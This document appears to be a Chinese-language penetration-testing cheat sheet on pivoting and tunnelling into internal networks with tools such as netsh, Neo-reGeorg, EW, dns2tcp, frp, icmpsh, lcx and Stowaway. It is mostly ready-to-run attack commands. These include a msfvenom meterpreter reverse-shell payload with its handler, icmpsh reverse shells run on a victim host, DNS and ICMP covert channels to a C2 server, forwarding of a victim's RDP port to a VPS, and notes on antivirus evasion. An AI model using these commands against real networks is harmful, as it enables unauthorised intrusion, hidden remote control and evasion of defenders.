代理隧道 1.netsh 端口转发
netsh interface portproxy add v4tov4 listenport=本地bind端口 connectaddress=目标服务器(IP) connectport=目标的端口
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.10.10 connectport=80
查看规则
netsh interface portproxy show all
删除规则
netsh interface portproxy delete v4tov4 listenport=7777
删除所有规则
netsh interface portproxy reset
msf反弹shell
填写能够直接跟我们交互的域内机器ip msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.80 lport=4455 -f exe > r.exe 端口转发 netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.30.135 connectport=4455 > use exploit/multi/handler > set payload windows/meterpreter/reverse_tcp > set lhost 192.168.30.135 > set lport 4455 > exploit
把自己的3389转到192.168.0.142的3389 meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.0.142 查看所有转发 portfwd list 删除所有转发 portfwd flush
3.Neo-reGeorg reGeorg是一个能穿透内网的工具,基于socks5而且支持的脚本众多,可以说是内网穿透神奇,但是作为使用率众多的软件,杀软都会拦截,使用还需要做免杀处理现有一个项目是reGeorg修改而来,而且做了加密处理,脚本也免杀项目地址:https://github.com/L-codes/Neo-reFeorg
服务器运行 python3 neoreg.py generate -k moonsec 在neoreg_server目录下生成了很多脚本,这些脚本都可以拿来做转发 然后选择对应的脚本上传到B服务器的Web目录下,访问一下没有报错的话就是正常的 python3 neoreg.py -k moonsec -u http://192.168.0.155/tunnel.aspx 此时我们设置socks5代理127.0.0.1:1080就是B的网络,那么也就可以顺利访问到C网段
4.ssh 搭建socks5
ssh -qTfnN -D 7070 root@8.210.55.154 ● -C:压缩模式 ● -D:本地的端口 ● -q:安静模式 ● -T:禁止远程分配终端 ● -n:关闭标准输入 ● -N:不执行远程命令 ● -f:后台运行
本地转发
ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN ssh -L 3307:localhost:3306 moonsec@192.168.0.139 -fN 此时访问本地的6666端口就能够访问到10.10.10.155的80端口
5.ew 由于太牛逼了 作者不更新了
https://github.com/idlefire/ew
本地开启socks服务 ew_for_Win.exe -s ssocksd -l 8888 服务端 ew_for_Win.exe -s rcsocks -l 1080 -e 1024 客户端连接c2 ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024
三层网络内网环境
在vps上把1080端口的请求转发给888端口 ew -s rcsocks -l 1080 -e 888 A主机把B主机的999端口和vps的888端口连接 ew -s lcx_slave -d C2IP -e 888 -f 10.10.10.10 -g 999 B主机把999端口的数据发到777端口 ew -s lcx_listen -l 999 -e 777 C主机启动socks5服务并反弹到B主机的777端口上 ew -s rcsocks -d B主机ip -e 777
6.Tunna 感觉Neo-reGeorg是他的升级版
https://github.com/SECFORCE/Tunna
通过192.168.0.139/conn.aspx将10.10.10.155的3389端口转发到本地的4321端口 python2 proxy.py -u http://192.168.0.139/conn.aspx -l 4321 -a 10.10.10.155 -r 3389 -v
7.ptunnel 以前叫做Ptunnel是老牌软件,现在更新名字为pingtunnel
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发)
老版本介绍:https://github.com/utoni/ptunnel-ng
yum -y install byacc yum -y install flex bison #安装libpcap依赖库 wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar -xzvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure make && make install #安装PingTunnel wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz tar -xzvf PingTunnel-0.72.tar.gz cd PingTunnel make && make install 客户端设置密码 ptunnel -x 1234 服务端连接 ptunnel -p 192.168.0.137 -lp 8080 -da 192.168.0.144 -dp 80 -x 1234 ● -p:服务端IP ● -lp:本地端口 ● -da:目标的IP ● -dp:目标的端口 ● -x:密码
8.dns2tcp dnscat2 iodine 也是类似软件
DNS是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在网络世界中DNS是必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现远控控制、文件传输等操作dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发它分为两个部分,服务端和客户端服务端运行在Linux服务器上客户端可以运行在Linux和Windows上编译完成在服务端的可执行文件名称为dns2tcpd,在客户端上的名称为dns2tcpc
配置一个域名,增加一条A记录和NS记录 此时A记录是dns.xxx.com指向的121.5.51.111(c2),所以就会访问到121.5.51.111服务器 c2使用ubantu18 apt-get update sudo apt-get install dns2tcp 修改dns2tcp配置文件/etc/dns2tcpd.conf ● listen=127.0.0.1修改成listen=0.0.0.0 ● user = root ● key = moonsec ● domain = dns2tcp.8sq.cc 这个domain就是NS解析的记录,然后就可以保存了 服务端启动 dns2tcpd -f /etc/dns2tcpd.conf -F -d 3 如果出现错误可能端口被占用,查出端口的进程id然后使用kill结束就可以启动了 netstat -anp | grep 53 kill 进程ID 阿里云的话会有一个服务占用,并且Kill不掉,阿里云默认服务关闭 systemctl stop systemd-resolve 再次启动服务端 客户端连接 dns2tcpc -r ssh -k moonsec -z dns2tcp.8sq.cc 121.5.51.000 -l 8888 -c -d 3 ● -k:密码 ● -z:domain 监听本地的8888端口 此时Xshell连接本地的8888端口就可以连接到B的ssh了 连接上来之后点击下面的转移规则
类型为Dynamic 然后我们就可以代理127.0.0.1:1080
9.frp Frp是一个可用于内网穿透的高性能反向代理应用,支持tcpudp协议,为http和https应用协议提供了额外的能力,且尝试性支持了点对点穿透
详细说明:https://github.com/fatedier/frp/blob/master/README_zh.md
下载地址:https://github.com/fatedier/frp/releases
wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz tar zxvf frp_0.33.0_linux_amd64.tar.gz mv frp_0.33.0_linux_amd64 frp cd frp 修改frps.ini bind_port=7000 token = moonsec2020 启动 ./frps -c frps.ini 下载和操作系统对应的Frp版本,然后修改frpc.ini配置文件 修改server_addr为我们服务器的IP地址,端口是7000,如果服务器端没有修改这里也不用修改 并且添加token参数 下面ssh的意思是访问服务器的6000端口,就会映射到这个客户端的22端口 我们添加一个80端口的映射 [web] type=tcp local_ip=127.0.0.1 local_port=80 remote_port=7777 ` 添加80端口映射 这样我们访问服务器端的7777端口就会访问到客户端127.0.0.1的80端口 实现了把C的80端口映射给B的7777 客户端运行 frpc.exe -c frpc.ini
10.nps https://github.com/ehang-io/nps
使用参考
https://github.com/ehang-io/nps/blob/master/README_zh.md
11.icmpsh https://github.com/bdamele/icmpsh
可以低权限运行,不需要管理员权限
apt-get install python-impacket //关闭ICMP应答 sysctl -w net.ipv4.icmp_echo_ignore_all=1 //开启ICMP应答 sysctl -w net.ipv4.icmp_echo_ignore_all=0 //攻击机上执行(KALI或者VPS) python icmpsh_m.py <攻击机IP> <内网出网口的公网地址>(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING VPS 从而得知,两者要能互相PING通) 如: python icmpsh_m.py 192.168.55.3 192.168.55.16 //靶机上执行 icmpsh.exe -t 攻击机IP -d 500 -s 128 如: icmpsh.exe -t 192.168.55.3 -d 500 -s 128
12.lcx lcx是一个基于Socket套接字实现的端口转发工具,有windows和linux两个版本。windows版本为lcx.exe,Linux版本为portmap。
一个正常的socket隧道必须具备两端:一段为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接
将目标机器的3389端口数据转发到VPS的4444端口上 lcx.exe -slave 110.40.137.64 4444 127.0.0.1 3389 将vps上4444端口的流量转发到5555端口上 lcx.exe -listen 4444 5555 此时连接VPS的5555端口就相当于连接目标机器的3389端口
13.powercat PowerCat就是powershell版本的nc。
powercat下载地址:https://github.com/besimorhino/powercat
导入 Import-Module .\powercat.ps1 报错则修改权限 Set-ExecutionPolicy RemoteSigned
14.Stowaway https://github.com/ph4ntonn/Stowaway
#服务端启动 ./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32 #客户端 ./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32 #建立连接后,在服务端选中上线的节点,并且执行socks命令即可。 use 0 # socks 端口 用户名 密码 socks 55667 username password 此时使用 socks5://username:password@<VPS IP>:55667 就可以代理到被控端的内网了。
多级代理 1.frp
服务端(外网VPS)配置frps.toml
和一级代理 一致
bindPort = 49378 auth.token = "helloxx.6haha7789"
由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。
其中服务端配置 frps.toml
如下:
客户端配置frpc.toml
如下:
serverAddr = "1.2.3.4" serverPort = 49378 auth.token = "helloxx.6haha7789" [[proxies]] name = "plugin_socks5" type = "tcp" remotePort = 60051 [proxies.plugin] type = "socks5" username = "0HDFt16cLQJCB" password = "JTN276Gp1A" [[proxies]] name = "portforward" type = "tcp" localIP = "127.0.0.1" remotePort = 60052 localPort = 6000
接下来在客户端2(内网机器B)上配置 frpc.toml
如下,和客户端1(内网机器A)建立隧道。
serverAddr = "1.2.3.5" serverPort = 49378 [[proxies]] name = "plugin_socks5_two" type = "tcp" remotePort = 6000 [proxies.plugin] type = "socks5" username = "0HDFt16cLQJCB" password = "JTN276Gp1A"
这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052
就可以访问到客户端2(内网机器B)的内网了。
2.Stowaway #c2执行 ./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32 #内网机器A上执行 ./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32 #这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口 use 0 listen #此时再在内网机器B上执行如下命令和内网机器A建立连接: ./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32 #执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可: use 1 socks 55667 username password #此时即可通过 socks5://username:password@<VPS IP>:55667 访问到内网机器B的内网了。